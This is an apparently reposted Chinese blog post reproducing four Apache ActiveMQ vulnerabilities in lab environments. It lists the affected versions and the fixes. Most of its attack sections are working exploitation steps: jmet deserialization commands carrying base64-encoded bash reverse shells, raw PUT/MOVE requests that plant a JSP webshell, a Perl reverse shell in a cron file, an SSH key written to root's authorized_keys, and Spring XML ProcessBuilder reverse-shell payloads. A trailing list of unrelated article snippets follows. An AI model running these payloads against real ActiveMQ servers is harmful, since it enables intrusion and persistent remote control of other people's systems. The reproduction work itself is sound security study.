ActiveMQ漏洞合集

news2025/4/14 19:46:46

目录

  • 介绍
  • CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现
    • Nuclei❌
    • Vulmap✅
    • 漏洞验证
    • 漏洞利用
  • CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞
    • 漏洞发现
    • Nuclei✅
    • Vulmap✅
    • MSF✅
    • 第三方工具1(漏洞探测)✅
    • 漏洞验证
    • 方式1:写入webshell
    • 方式2:写入crontab,自动化弹shell
    • 方式3:写入ssh key
  • CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞验证
  • CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现(针对linux系统)
    • Nuclei❌
    • MSF❌
    • 第三方工具1(反弹shell)
    • 第三方工具2(反弹shell)
    • 第三方工具3(反弹shell)
    • 漏洞发现(针对Windows系统)
    • Nuclei❌
    • MSF✅
  • 参考

介绍

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响范围:Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/1509
漏洞复现参考:https://blog.csdn.net/hellohahi/article/details/122418168
环境搭建:

cd vulhub-master/activemq/CVE-2015-5254
docker-compose up -d
docker ps
docker-compose down

运行环境后,会建立61616和8161这两个端口。
其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问8161端口,可以看到web管理页面,但是这个漏洞理论上不需要web。image.png
使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
image.png

漏洞发现

Nuclei❌

Nuclei的漏洞列表里没有此漏洞!但是Nuclei检测到了两个默认口令以及CVE-2016-3088
image.png

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap
image.png

漏洞验证

  1. 生成序列化的有效负载(可以使用 ysoserial)
  2. 作为一个消息,将有效负载发送到端口 61616
  3. 访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。
image.png

  1. 首先在攻击机上下载jmet的jar(Java 消息利用工具)文件,然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
# 下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

# 创建external目录
mkdir external
  1. 执行命令,将有效负载发送到目标IP的61616端口。

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.229.140 61616

image.png

  1. 这时,会给目标ActiveMQ添加一个event列,我们可以通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

image.png
点击查看这条消息即可触发命令执行
image.png
点击一下
image.png
登录ActiveMQ容器环境docker exec -it [容器ID] bash,查看命令已经执行成功,/tmp/sucess文件已成功创建。
image.png

漏洞利用

反弹shell到vps上

  1. 将命令替换成弹shell的语句再利用
  2. 将反弹语句bese64编码
  3. vps开启端口监听

生成反弹shell的命令,对文本进行base64编码:https://www.iamwawa.cn/base64.html

bash -i >& /dev/tcp/192.168.229.128/6666 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

执行弹shell命令(这里记住ID号,后面会用到)

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.140 61616

image.png
通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息,找到相关消息,点击它
image.png
点击之后,即可执行命令,反弹shell
image.png

CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞

**漏洞原理:**ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
影响范围:Apache ActiveMQ <= 5.13.3
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/13372
漏洞复现参考:https://blog.csdn.net/m0_51683653/article/details/129240528
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
环境搭建:

cd vulhub-master/activemq/CVE-2016-3088
docker-compose up -d
docker ps
docker-compose down

漏洞发现

Nuclei✅

Nuclei检测到了两个默认口令以及CVE-2016-3088
image.png
image.png

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap
image.png

MSF✅

search CVE-2016-3088
exploit/multi/http/apache_activemq_upload_jsp
set RHOSTS 192.168.229.140
exploit

image.png

第三方工具1(漏洞探测)✅

项目地址:https://github.com/YutuSec/ActiveMQ_Crack
image.png

漏洞验证

我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
分别说一下上述几种利用方法。

方式1:写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问
默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

需要知道ActiveMQ的绝对路径
需要能登录admin或者api

image.png

  1. 上传webshell(这里使用冰蝎的 jsp 马):

这里上传的文件名以及后缀可以随意(可以是txt或者jsp),毕竟后面还得通过MOVE方法修改

PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

image.png
此时可以访问到马子了:http://192.168.229.140:8161/fileserver/2.txt
image.png

  1. 移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。
利用MOVE,可以将木马文件移动到api或者admin

MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


image.png

  1. 访问一下,看起来上传成功了:http://192.168.229.140:8161/api/s.jsp

image.png

  1. 连接webshell

需要设置一下请求头

image.png
找到了上传的马子
image.png

方式2:写入crontab,自动化弹shell

需要运行ActiveMQ的用户有root权限
服务器开启了cron服务
运行ActiveMQ的用户有使用crontab的权限

这里有个坑,docker中没有crontab必须自己安装,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html

  1. 环境准备
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

image.png
将其移动到/etc/cron.d/root

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


image.png
如果上述两个请求都返回204了,说明写入成功。等待反弹shell
【不知道为什么,反弹失败】

方式3:写入ssh key

这里有个坑,无法SSH连接docker靶场,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html

需要运行ActiveMQ的用户有root权限
需要服务器开启了ssh服务,并且攻击机可以连接
  1. 环境准备
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start

image.png

  1. 端口探测

服务器端口:22、8161和61616端口可达
image.png

  1. 开始攻击

上传我们的 ssh 公钥,从而实现 SSH 方式登录

ssh-keygen -t rsa
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 562

ssh-rsa[SSH公钥]

image.png
移动到/root/.ssh/并重命名为authorized_keys

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


image.png

  1. SSH登录目标系统

image.png

CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞

漏洞介绍 & 环境准备

**漏洞原理:**在 ActiveMQ 版本 5.14.0 到 5.15.2 中使用 OpenWire 协议时,发现某些系统详细信息(例如操作系统和内核版本)以纯文本形式公开。
影响范围:5.14.0 <= Apache ActiveMQ <= 5.15.2
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/43276
漏洞复现参考:https://blog.csdn.net/weixin_44047654/article/details/128033283
环境搭建:使用在线靶场https://vulfocus.cn/

漏洞验证

使用telnet访问容器 61616端口映射出的端口,就可以看到泄露的信息。
此处,靶场对外映射的端口是25303
image.png
image.png

CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 容易受到远程代码执行漏洞的攻击。该漏洞可能允许对 broker 具有网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来实例化类路径上的任何类,最终可能导致运行任意 shell 命令。
影响范围

5.18.0<=Apache ActiveMQ<5.18.3
5.17.0<=Apache ActiveMQ<5.17.6
5.16.0<=Apache ActiveMQ<5.16.7
Apache ActiveMQ<5.15.16
5.18.0<=Apache ActiveMQ Legacy OpenWire Module<5.18.3
5.8.0<=Apache ActiveMQ Legacy OpenWire Module<5.15.16
5.16.0<=Apache ActiveMQ Legacy OpenWire Module<5.16.7
5.17.0<=Apache ActiveMQ Legacy OpenWire Module<5.17.6

修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/316432
漏洞复现参考:https://blog.csdn.net/qq_41904294/article/details/134066087
**环境搭建:**下载地址:https://activemq.apache.org/download-archives.html

tar -zxvf ./apache-activemq-5.18.1-bin.tar.gz
cd apache-activemq-5.18.1/bin/
./activemq start
./activemq stop

默认情况下,无法访问控制台,进入ActiveMQ安装目录下的conf文件夹,找到jetty.xml,修改为0.0.0.0后重启ActiveMQ即可。
image.png
登录系统,系统版本是有漏洞的。
image.png

漏洞发现(针对linux系统)

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来
image.png
image.png

MSF❌

仅支持windows的payload,因此无法针对linux系统反弹shell

search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
show payloads

image.png

第三方工具1(反弹shell)

项目地址:https://github.com/sule01u/CVE-2023-46604
反弹shell的xml文件:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

image.png

第三方工具2(反弹shell)

项目地址:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max
反弹shell的xml文件:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
  1. JDK11启动工具
C:\jdk-11\bin\java.exe -jar ActiveMQ_RCE_GUI_v1.0.3.jar
  1. 反弹shell

image.png

第三方工具3(反弹shell)

教程参考:https://blog.csdn.net/qq_41904294/article/details/134066087
项目地址:https://github.com/trganda/ActiveMQ-RCE
直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11,配置一下就行了
image.png

漏洞发现(针对Windows系统)

确认关闭了防火墙

漏洞给复现参考:https://mp.weixin.qq.com/s/qWr3z0KYB5Pg6a7dE-07Wg
启动环境
image.png

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来
image.png

MSF✅

search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
set SRVPORT 8081
exploit

image.png

参考

activemq介绍及漏洞总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1346762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

谷歌Linux内核自动测试平台架构介绍-用自动测试测试难以测试的问题

1 摘要 内核和硬件等低级系统已被证明极难进行有效测试&#xff0c;因此&#xff0c;许多内核测试都是以手动为主方式进行的。现有的大多数测试框架都是为测试与底层平台隔离的高级软件而设计的&#xff0c;而底层平台被假定是稳定可靠的。测试底层平台本身需要一套全新的假设…

单字符检测模型charnet使用方法,极简

Git链接 安装按照上面的说明&#xff0c;说下使用。 把tools下面的test做了一点修改&#xff0c;可以读取一张图片&#xff0c;把里面的单个字符都检测和识别出来。 然后绘制到屏幕上。 import torch from charnet.modeling.model import CharNet import cv2, os import num…

第5课 使用openCV捕获摄像头并实现预览功能

这节课我们开始利用ffmpeg和opencv来实现一个rtmp推流端。推流端的最基本功能其实就两个:预览画面并将画面和声音合并后推送到rtmp服务器。 一、FFmpeg API 推流的一般过程 1.引入ffmpeg库&#xff1a;在代码中引入ffmpeg库&#xff0c;以便使用其提供的功能。 2.捕获摄像头…

“C语言与人生:手把手教你玩转C语言数组,从此编程无难题“

各位少年&#xff0c;我是博主那一脸阳光&#xff0c;由我来给大家介绍C语言的数组的详解。 在C语言中&#xff0c;数组是一种极其重要的数据结构&#xff0c;它允许我们存储和管理相同类型的一系列相关数据。通过理解并熟练掌握数组的使用&#xff0c;开发者能够高效地处理大量…

【Spark精讲】一文搞懂Spark钨丝Tungsten

Tungsten 内存管理机制 催生 Tungsten 内存管理优化的原因主要来自两个方面 。 • Java对象占用内存空间大。 相对于 C/C等更加底层的程序语言&#xff0c; Java对象的存储密度相对偏低。 例如&#xff0c;即使最简单的 “abed” 字符串&#xff0c;用Java的UTF-16编码的情况…

ssm基于web 的个人时间管理系统+vue论文

基于web 的个人时间管理系统的设计与实现 摘要 当下&#xff0c;正处于信息化的时代&#xff0c;许多行业顺应时代的变化&#xff0c;结合使用计算机技术向数字化、信息化建设迈进。传统的个人时间信息管理模式&#xff0c;采用人工登记的方式保存相关数据&#xff0c;这种以人…

Ksher H5页面支付实例指导 (PHP实现)

前文 背景介绍 前两天&#xff0c;公司的项目&#xff0c;为了满足泰国客户的支付需求&#xff0c;要求使用 Ksher (开时支付) 对接任务突然就给了鄙人&#xff0c;一脸懵 … 通过了解客户的使用场景、以及参考官网指导 发现&#xff1a;Ksher支付 最令人满意的便是 —— 提供了…

GitHub 一周热点汇总 第3期 (2023/12/24-12/30)

GitHub一周热点汇总第三期 (2023/12/24-12/30)&#xff0c;梳理每周热门的GitHub项目&#xff0c;了解热点技术趋势&#xff0c;掌握前沿科技方向&#xff0c;发掘更多商机。元旦就要到了&#xff0c;提前祝大家新年快乐。 #1 StreamDiffusion 项目名称&#xff1a;StreamDiff…

Powermill各版本安装指南

下载链接 https://pan.baidu.com/s/1CsrYEUQNmDa820RxDV2G6Q?pwd0531 1.鼠标右击【PowerMill2024(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;【解压到 PowerMill2024(64bit)】。 2.打开解压后的文件夹&#xff0c;双击打开【Setup】文…

Qt基础之四十五:Qt国际化(I18N)

国际化的英文表述为Internationalization,通常简写为I18N(首尾字母加中间的字符数),这种奇葩的缩写方式,让我想起了NBA球星“字母哥”。 下面看下Qt实现的动态语言切换效果。 一.效果 二.源码 QHSettingDialog.h #ifndef QHSETTINGDIALOG_H #define QHSETTINGDIALOG_H#…

获取Windows10系统原始安装日期

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 目标 获取Windows10系统最原始的安装日期&#xff1b;例如&#xff1a;刚买电脑时安装系统的时间。 步骤 第一步&#xff0c;请打开PowerShell&#xff0c;单击Windows P…

PAT 乙级 1033 旧键盘打字

旧键盘上坏了几个键&#xff0c;于是在敲一段文字的时候&#xff0c;对应的字符就不会出现。现在给出应该输入的一段文字、以及坏掉的那些键&#xff0c;打出的结果文字会是怎样&#xff1f; 输入格式&#xff1a; 输入在 2 行中分别给出坏掉的那些键、以及应该输入的文字。其…

使用Android Studio等idea工具开发flutter应用,必备的debug调试技能,非常好用

我们程序员不论开发什么软件&#xff0c;都需要一把锋利的调试工具&#xff0c;这是必不可少的&#xff0c;不然出现问题了&#xff0c;你都不知道问题是啥&#xff0c;出现在哪&#xff0c;就更别说怎么解决了。所以我这里就介绍一下android studio开发flutter必备的调试技能&…

ssrf之dict协议和file协议

1.dict协议 dict是什么协议呢&#xff1f; 定义&#xff1a;词典网络协议&#xff0c;在RFC 2009中进行描述。它的目标是超越Webster protocol&#xff0c;并允许客户端在使 用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。 官方介绍&#xff1a;http://dict.o…

【STM32】STM32学习笔记-PWM驱动LED呼吸灯 舵机 直流电机(16)

00. 目录 文章目录 00. 目录01. 输出比较相关API1.1 TIM_OC1Init1.2 TIM_OCInitTypeDef结构体1.3 TIM_OCMode1.4 TIM_OutputState1.5 TIM_OutputNState1.6 TIM_OCPolarity1.7 TIM_OCNPolarity1.8 TIM_OCPolarity1.9 TIM_OCNPolarity 02. PWM实现呼吸灯接线图03. PWM实现呼吸灯示…

livox avia平台搭建

硬件平台搭建 硬件平台的搭建除了livox雷达外还需要以下物料 焊接12V稳压模块接口 livox雷达需要12V的稳定电压供电,因此需要在电池与雷达之间加入8-35V转12V的稳压模块 组装 将各组建组装起来即可。 220V交流电供电 电池供电

数据结构 模拟实现LinkedList单向不循环链表

目录 一、链表的简单介绍 二、链表的接口 三、链表的方法实现 &#xff08;1&#xff09;display方法 &#xff08;2&#xff09;size得到单链表的长度方法 &#xff08;3&#xff09;addFirst头插方法 &#xff08;4&#xff09;addLast尾插方法 &#xff08;5&#xf…

迈向通用异常检测和理解:大规模视觉语言模型(GPT-4V)率先推出

PAPERCODEhttps://arxiv.org/pdf/2311.02782.pdfhttps://github.com/caoyunkang/GPT4V-for-Generic-Anomaly-Detection 图1 GPT-4V在多模态多任务异常检测中的综合评估 在这项研究中&#xff0c;我们在多模态异常检测的背景下对GPT-4V进行了全面评估。我们考虑了四种模式&#…

【起草】【第十二章】定制ChatGPT数字亲人

身为普普通通的我们&#xff0c;不知道亲人们在哪一天就要离开这个世界 &#xff1f; 作为普普通通的程序员&#xff0c;我们可以为我们的亲人做点什么 &#xff1f; 让他们以数字资产形式留在人世间 ? 对话&#xff5c;6岁女孩病逝捐器官&#xff0c;妈妈&#xff1a;她去…

缺失的第一个正数(LeetCode 41)

文章目录 1.问题描述2.难度等级3.热门指数4.解题思路4.1 暴力4.2 排序4.3 哈希表4.4 空间复杂度为 O(1) 的哈希表4.5 置换 参考文献 1.问题描述 给你一个未排序的整数数组 nums &#xff0c;请你找出其中没有出现的最小的正整数。 请你实现时间复杂度为 O(n) 并且只使用常数级…